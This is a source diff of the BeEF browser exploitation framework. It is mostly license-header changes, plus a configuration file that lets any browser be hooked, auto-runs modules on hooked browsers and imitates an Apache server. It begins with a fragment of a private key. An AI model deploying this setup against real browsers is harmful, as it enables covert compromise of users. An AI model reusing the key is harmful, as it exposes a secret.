yp0RZJwyBFoba4bWhzoQJj+39P0+4FBaMlZyLHZ7nd4z0JiE5S3qA9xi8zjQVrrI
rTWnAkEAmpPxBZfavWNJhW0VWYue1/36GkV73+MLPhq1pruHZZUE5o6lQ7KlaWUn
AcW79WEUYjursVjvQKuI1pmyeOzZrQJBAIGQHSxbxyjBgPA8QDSF4EZ+r96Wlwoc
QBiqk6+5x+fiBrJUCG3bkWWNldu2qFxPS63QRlAfGZeWHgK5ENzm95sCQQCe81hU
WaVM9bmt0ZvfhfQXfgvf3xKNUFemd4skTMUDgNCH1OFULB/Mz16kJDdy0q0qUS88
yBgay+U9QuoEO425
-----END PRIVATE KEY-----

View File

@@ -1,57 +1,75 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# BeEF Configuration file
beef:
version: '0.4.3.4-alpha'
version: '0.4.4.4.1-alpha'
debug: false
restrictions:
# subnet of browser ip addresses that can hook to the framework
# subnet of browser ip addresses that can hook to the framework
permitted_hooking_subnet: "0.0.0.0/0"
# subnet of browser ip addresses that can connect to the UI
# subnet of browser ip addresses that can connect to the UI
# permitted_ui_subnet: "127.0.0.1/32"
permitted_ui_subnet: "0.0.0.0/0"
http:
debug: false #Thin::Logging.debug, very verbose. Prints also full exception stack trace.
host: "0.0.0.0"
port: "3000"
# Decrease this setting up to 1000 if you want more responsiveness when sending modules and retrieving results.
# It's not advised to decrease it with tons of hooked browsers (more than 50),
# because it might impact performance. Also, enable WebSockets is generally better.
xhr_poll_timeout: 5000
# if running behind a nat set the public ip address here
#public: ""
#public_port: "" # port setting is experimental
dns: "localhost"
panel_path: "/ui/panel"
hook_file: "/hook.js"
hook_session_name: "BEEFHOOK"
session_cookie_name: "BEEFSESSION"
# Prefer WebSockets over XHR-polling when possible.
websocket:
enable: false
secure: true # use WebSocketSecure work only on https domain and whit https support enabled in BeEF
port: 61985 # WS: good success rate through proxies
secure_port: 61986 # WSSecure
ws_poll_timeout: 1000 # poll BeEF every second
# Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header)
web_server_imitation:
enable: false
enable: true
type: "apache" #supported: apache, iis
# Experimental HTTPS support for the hook / admin / all other Thin managed web services
https:
enable: false
# In production environments, be sure to use a valid certificate signed for the value
# used in beef.http.dns (the domain name of the server where you run BeEF)
key: "beef_key.pem"
cert: "beef_cert.pem"
database:
# For information on using other databases please read the
# README.databases file
# supported DBs: sqlite, mysql, postgres
# NOTE: you must change the Gemfile adding a gem require line like:
# gem "dm-postgres-adapter"
# or
# gem "dm-mysql-adapter"
# if you want to switch drivers from sqlite to postgres (or mysql).
# Finally, run a 'bundle install' command and start BeEF.
driver: "sqlite"
# db_file is only used for sqlite
db_file: "beef.db"
# db connection information is only used for mysql/postgres
db_host: "localhost"
db_name: "beef"
@@ -64,16 +82,33 @@ beef:
user: "beef"
passwd: "beef"
# Autorun modules as soon the browser is hooked.
# NOTE: only modules with target type 'working' or 'user_notify' can be run automatically.
autorun:
enable: true
# set this to FALSE if you don't want to allow auto-run execution for modules with target->user_notify
allow_user_notify: true
crypto_default_value_length: 80
# Enable client-side debugging
client:
debug: false
# You may override default extension configuration parameters here
extension:
requester:
enable: true
enable: true
proxy:
enable: true
enable: true
metasploit:
enable: false
social_engineering:
enable: true
evasion:
enable: false
console:
shell:
shell:
enable: false
ipec:
enable: true

View File

@@ -1,17 +1,7 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF

View File

@@ -1,17 +1,7 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF

View File

@@ -1,17 +1,7 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module API

View File

@@ -1,17 +1,7 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module API

View File

@@ -1,17 +1,7 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module API

View File

@@ -1,17 +1,7 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module API

View File

@@ -1,17 +1,7 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module API

View File

@@ -1,17 +1,7 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module API

View File

@@ -1,17 +1,7 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module API

View File

@@ -1,17 +1,7 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module API

View File

@@ -1,17 +1,7 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
@@ -34,6 +24,8 @@ require 'core/main/handlers/browserdetails'
# @note Include the network stack
require 'core/main/network_stack/handlers/dynamicreconstruction'
require 'core/main/network_stack/handlers/redirector'
require 'core/main/network_stack/handlers/raw'
require 'core/main/network_stack/assethandler'
require 'core/main/network_stack/api'
@@ -50,6 +42,10 @@ require 'core/hbmanager'
## @note Include RESTful API
require 'core/main/rest/handlers/hookedbrowsers'
require 'core/main/rest/handlers/modules'
require 'core/main/rest/handlers/categories'
require 'core/main/rest/handlers/logs'
require 'core/main/rest/handlers/admin'
require 'core/main/rest/api'
## @note Include Websocket
require 'core/main/network_stack/websocket/websocket'

View File

@@ -1,17 +1,7 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
@@ -34,6 +24,7 @@ require 'core/main/constants/browsers'
require 'core/main/constants/commandmodule'
require 'core/main/constants/distributedengine'
require 'core/main/constants/os'
require 'core/main/constants/hardware'
# @note Include core modules for beef
require 'core/main/configuration'

View File

@@ -1,17 +1,7 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension

View File

@@ -1,17 +1,7 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extensions

View File

@@ -1,17 +1,7 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Filters

View File

@@ -1,17 +1,7 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Filters

View File

@@ -1,17 +1,7 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Filters
@@ -47,6 +37,16 @@ module Filters
true
end
# Check the Hardware name value - for example, 'iPhone'
# @param [String] str String for testing
# @return [Boolean] If the string has valid Hardware name characters
def self.is_valid_hwname?(str)
return false if not is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length < 2
true
end
# Verify the browser version string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid browser version characters
@@ -78,10 +78,10 @@ module Filters
true
end
# Verify the screen params are valid
# Verify the screen size is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid screen param characters
def self.is_valid_screen_params?(str)
# @return [Boolean] If the string has valid screen size characters
def self.is_valid_screen_size?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
@@ -105,6 +105,15 @@ module Filters
true
end
# Verify the date stamp is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid date stamp characters
def self.is_valid_date_stamp?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
end
# Verify the browser_plugins string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid browser plugin characters

View File

@@ -1,17 +1,7 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Filters

View File

@@ -1,17 +1,7 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Filters

View File

@@ -1,17 +1,7 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Filters

View File

@@ -1,17 +1,7 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module HBManager

View File

@@ -1,17 +1,8 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# @note Include here all the gems we are using
require 'rubygems'

47
core/main/client/are.js Normal file
View File

@@ -0,0 +1,47 @@
//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.are = {
init:function(){
var Jools = require('jools');
this.ruleEngine = new Jools();
},
send:function(module){
// there will probably be some other stuff here before things are finished
this.commands.push(module);
},
execute:function(inputs){
this.rulesEngine.execute(input);
},
cache_modules:function(modules){},
rules:[
{
'name':"exec_no_input",
'condition':function(command,browser){
//need to figure out how to handle the inputs
return (!command['inputs'] || command['inputs'].length == 0)
},
'consequence':function(command,browser){}
},
{
'name':"module_has_sibling",
'condition':function(command,commands){
return false;
},
'consequence':function(command,commands){}
},
{
'name':"module_depends_on_module",
'condition':function(command,commands){
return false;
},
'consequence':function(command,commands){}
}
],
commands:[],
results:[]
};
beef.regCmp("beef.are");

View File

@@ -1,27 +1,16 @@
//
// Copyright 2012 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/*!
* BeEF JS Library <%= @beef_version %>
* http://beef.googlecode.com/
* Register the BeEF JS on the window object.
*/
$j = jQuery.noConflict();
//<%= @beef_hook_session_name %>='<%= @beef_hook_session_id %>';
if(typeof beef === 'undefined' && typeof window.beef === 'undefined') {
var BeefJS = {
@@ -42,15 +31,35 @@ if(typeof beef === 'undefined' && typeof window.beef === 'undefined') {
// An array containing all the BeEF JS components.
components: new Array(),
/**
* Adds a function to display debug messages (wraps console.log())
* @param: {string} the debug string to return
*/
debug: function(msg) {
if (!<%= @client_debug %>) return;
if (typeof console == "object" && typeof console.log == "function") {
console.log(msg);
} else {
// TODO: maybe add a callback to BeEF server for debugging purposes
//window.alert(msg);
}
},
/**
* Adds a function to execute.
* @param: {Function} the function to execute.
*/
execute: function(fn) {
this.commands.push(fn);
},
if ( typeof beef.websocket == "undefined"){
this.commands.push(fn);
}else{
fn();
}
},
/**
* Registers a component in BeEF JS.
* @params: {String} the component.

File diff suppressed because it is too large Load Diff

View File

@@ -1,110 +1,101 @@
//
// Copyright 2012 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
/*!
* @literal object: beef.browser.cookie
*
* Provides fuctions for working with cookies.
* Several functions adopted from http://techpatterns.com/downloads/javascript_cookies.php
* Original author unknown.
*
*/
beef.browser.cookie = {
setCookie: function (name, value, expires, path, domain, secure)
{
var today = new Date();
today.setTime( today.getTime() );
if ( expires )
{
expires = expires * 1000 * 60 * 60 * 24;
}
var expires_date = new Date( today.getTime() + (expires) );
document.cookie = name + "=" +escape( value ) +
( ( expires ) ? ";expires=" + expires_date.toGMTString() : "" ) +
( ( path ) ? ";path=" + path : "" ) +
( ( domain ) ? ";domain=" + domain : "" ) +
( ( secure ) ? ";secure" : "" );
},
getCookie: function(name)
{
var a_all_cookies = document.cookie.split( ';' );
var a_temp_cookie = '';
var cookie_name = '';
var cookie_value = '';
var b_cookie_found = false;
for ( i = 0; i < a_all_cookies.length; i++ )
{
a_temp_cookie = a_all_cookies[i].split( '=' );
cookie_name = a_temp_cookie[0].replace(/^\s+|\s+$/g, '');
if ( cookie_name == name )
{
b_cookie_found = true;
if ( a_temp_cookie.length > 1 )
{
cookie_value = unescape( a_temp_cookie[1].replace(/^\s+|\s+$/g, '') );
}
return cookie_value;
break;
}
a_temp_cookie = null;
cookie_name = '';
}
if ( !b_cookie_found )
{
return null;
}
},
deleteCookie: function (name, path, domain)
{
if ( this.getCookie(name) ) document.cookie = name + "=" +
( ( path ) ? ";path=" + path : "") +
( ( domain ) ? ";domain=" + domain : "" ) +
";expires=Thu, 01-Jan-1970 00:00:01 GMT";
},
hasSessionCookies: function (name)
{
var name = name || "cookie";
if (name == "") name = "cookie";
this.setCookie( name, 'none', '', '/', '', '' );
cookiesEnabled = (this.getCookie(name) == null)? false:true;
this.deleteCookie(name, '/', '');
return cookiesEnabled;
},
hasPersistentCookies: function (name)
{
var name = name || "cookie";
if (name == "") name = "cookie";
this.setCookie( name, 'none', 1, '/', '', '' );
cookiesEnabled = (this.getCookie(name) == null)? false:true;
this.deleteCookie(name, '/', '');
return cookiesEnabled;
}
};
//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/*!
* @literal object: beef.browser.cookie
*
* Provides fuctions for working with cookies.
* Several functions adopted from http://techpatterns.com/downloads/javascript_cookies.php
* Original author unknown.
*
*/
beef.browser.cookie = {
setCookie: function (name, value, expires, path, domain, secure)
{
var today = new Date();
today.setTime( today.getTime() );
if ( expires )
{
expires = expires * 1000 * 60 * 60 * 24;
}
var expires_date = new Date( today.getTime() + (expires) );
document.cookie = name + "=" +escape( value ) +
( ( expires ) ? ";expires=" + expires_date.toGMTString() : "" ) +
( ( path ) ? ";path=" + path : "" ) +
( ( domain ) ? ";domain=" + domain : "" ) +
( ( secure ) ? ";secure" : "" );
},
getCookie: function(name)
{
var a_all_cookies = document.cookie.split( ';' );
var a_temp_cookie = '';
var cookie_name = '';
var cookie_value = '';
var b_cookie_found = false;
for ( i = 0; i < a_all_cookies.length; i++ )
{
a_temp_cookie = a_all_cookies[i].split( '=' );
cookie_name = a_temp_cookie[0].replace(/^\s+|\s+$/g, '');
if ( cookie_name == name )
{
b_cookie_found = true;
if ( a_temp_cookie.length > 1 )
{
cookie_value = unescape( a_temp_cookie[1].replace(/^\s+|\s+$/g, '') );
}
return cookie_value;
break;
}
a_temp_cookie = null;
cookie_name = '';
}
if ( !b_cookie_found )
{
return null;
}
},
deleteCookie: function (name, path, domain)
{
if ( this.getCookie(name) ) document.cookie = name + "=" +
( ( path ) ? ";path=" + path : "") +
( ( domain ) ? ";domain=" + domain : "" ) +
";expires=Thu, 01-Jan-1970 00:00:01 GMT";
},
hasSessionCookies: function (name)
{
var name = name || "cookie";
if (name == "") name = "cookie";
this.setCookie( name, 'none', '', '/', '', '' );
cookiesEnabled = (this.getCookie(name) == null)? false:true;
this.deleteCookie(name, '/', '');
return cookiesEnabled;
},
hasPersistentCookies: function (name)
{
var name = name || "cookie";
if (name == "") name = "cookie";
this.setCookie( name, 'none', 1, '/', '', '' );
cookiesEnabled = (this.getCookie(name) == null)? false:true;
this.deleteCookie(name, '/', '');
return cookiesEnabled;
}
};
beef.regCmp('beef.browser.cookie');

View File

@@ -1,39 +1,30 @@
//
// Copyright 2012 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
/*!
* @literal object: beef.browser.popup
*
* Provides fuctions for working with cookies.
* Several functions adopted from http://davidwalsh.name/popup-block-javascript
* Original author unknown.
*
*/
beef.browser.popup = {
blocker_enbabled: function ()
{
screenParams = beef.browser.getScreenParams();
var popUp = window.open('/', 'windowName0', 'width=1, height=1, left='+screenParams.width+', top='+screenParams.height+', scrollbars, resizable');
if (popUp == null || typeof(popUp)=='undefined') {
return true;
} else {
popUp.close();
return false;
}
}
};
beef.regCmp('beef.browser.popup');
//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/*!
* @literal object: beef.browser.popup
*
* Provides fuctions for working with cookies.
* Several functions adopted from http://davidwalsh.name/popup-block-javascript
* Original author unknown.
*
*/
beef.browser.popup = {
blocker_enabled: function ()
{
screenParams = beef.browser.getScreenSize();
var popUp = window.open('/', 'windowName0', 'width=1, height=1, left='+screenParams.width+', top='+screenParams.height+', scrollbars, resizable');
if (popUp == null || typeof(popUp)=='undefined') {
return true;
} else {
popUp.close();
return false;
}
}
};
beef.regCmp('beef.browser.popup');

View File

@@ -1,18 +1,9 @@
//
// Copyright 2012 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
